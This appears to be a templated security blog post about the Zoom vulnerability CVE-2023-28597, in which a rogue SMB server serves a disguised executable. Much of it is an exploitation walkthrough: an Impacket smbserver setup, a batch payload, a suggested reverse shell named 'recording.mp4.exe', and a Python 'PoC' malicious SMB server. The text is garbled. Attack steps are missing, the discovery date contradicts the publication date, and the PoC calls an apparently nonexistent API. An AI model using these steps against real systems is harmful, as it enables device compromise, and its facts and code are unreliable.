Date: June 2024  
Author: [Your Name]  
Tags: CVE-2023-28597, Zoom Vulnerability, SMB Exploit, Remote Code Execution


Zoom is one of the most popular video conferencing tools. It’s trusted by millions for meetings, webinars, and even recording sessions. But in late 2023, a serious security vulnerability—identified as CVE-2023-28597—was discovered in Zoom clients prior to version 5.13.5.

This post will explain what happened, how the exploit works, and even walk you through a real-world scenario with sample code. This way, you can better understand the risk—and why patching is so important.

What is CVE-2023-28597?

CVE-2023-28597 is an “improper trust boundary implementation” issue in Zoom. In simple words: Zoom wasn’t strict enough about trusting links and network requests.

> Vulnerability Description:  
> If a victim saves a Zoom local recording to an SMB share and later opens it using a link from Zoom’s web portal, an attacker on the same network can set up a malicious SMB server. This pirated server can respond to SMB requests and trick Zoom or Windows into executing malicious code—handing over full access to the victim’s device.

Malicious server responds, supplying an executable file instead of the legitimate recording.

5. Victim’s machine executes attacker’s payload, leading to a compromise (like malware infection or data theft).

Exploiting CVE-2023-28597: Step-by-Step

Disclaimer: This is for educational and defensive security research purposes only.

Setting up a Malicious SMB Server (Attacker Side)

You can use the Python tool Impacket’s smbserver.py to simulate a rogue SMB server:

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/examples
python3 smbserver.py EVILSHARE /tmp/evilshare

Next, copy a malicious payload to /tmp/evilshare/. For demonstration, you could use a simple batch file like:

:: evil.bat
echo "You've been hacked!" > %USERPROFILE%\Desktop\owned.txt

Or use a compiled reverse shell as recording.mp4.exe (naming is key—the victim will think it’s a movie!).

Suppose the victim’s Zoom client saved the recording at

\\EVILSERVER\EVILSHARE\recording.mp4

The attacker sends the victim a Zoom web portal link pointing to this SMB path, or the victim simply attempts to open the local recording from the portal (Zoom tries to fetch it from the same SMB path that is now attacker-controlled).

The SMB server returns recording.mp4.exe—disguised as a media file.

- Because of improper trust/validation, it might get executed, especially if file extensions are hidden (default Windows behavior).

Example PoC Code Snippet (Attacker’s SMB Server)

Here’s a simplified Python snippet using smbprotocol to serve a custom executable:

from smbprotocol.server import *
import os

def handle_request(request):
    if request.path.endswith('recording.mp4'):
        with open('malicious_payload.exe', 'rb') as f:
            return f.read()
    else:
        return b''

if __name__ == "__main__":
    server = SMB2Server(("...", 445))
    server.share('EVILSHARE', '/tmp/evilshare', on_read_request=handle_request)
    print("Malicious SMB server running on port 445...")
    server.serve_forever()


*Note: Real-world payloads and SMB servers may be more complex. Administrative privileges are usually needed to bind to port 445 on Windows/Linux.*

References and More Information

- Zoom Security Bulletin ZSB-23012
- NIST National Vulnerability Database: CVE-2023-28597
- Impacket SMB Server - GitHub
- SMB Protocol RFC
- Zoom Release Notes - 5.13.5

Don’t open critical files from network shares you don’t control.

Disable SMBv1:

SMBv1 is deprecated and insecure. Disable if possible (Microsoft Guide).

Final Thoughts

CVE-2023-28597 proves that even trusted software like Zoom can have critical loopholes—especially when local and network resources blend together. Run regular updates, educate your teams, and never underestimate a clever attacker.

Stay safe, and keep those patches coming!

*If you found this exclusive guide helpful, share it with your team or subscribe for more security breakdowns!*


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Published on: 03/27/2023 21:15:00 UTC
Last modified on: 04/03/2023 14:22:00 UTC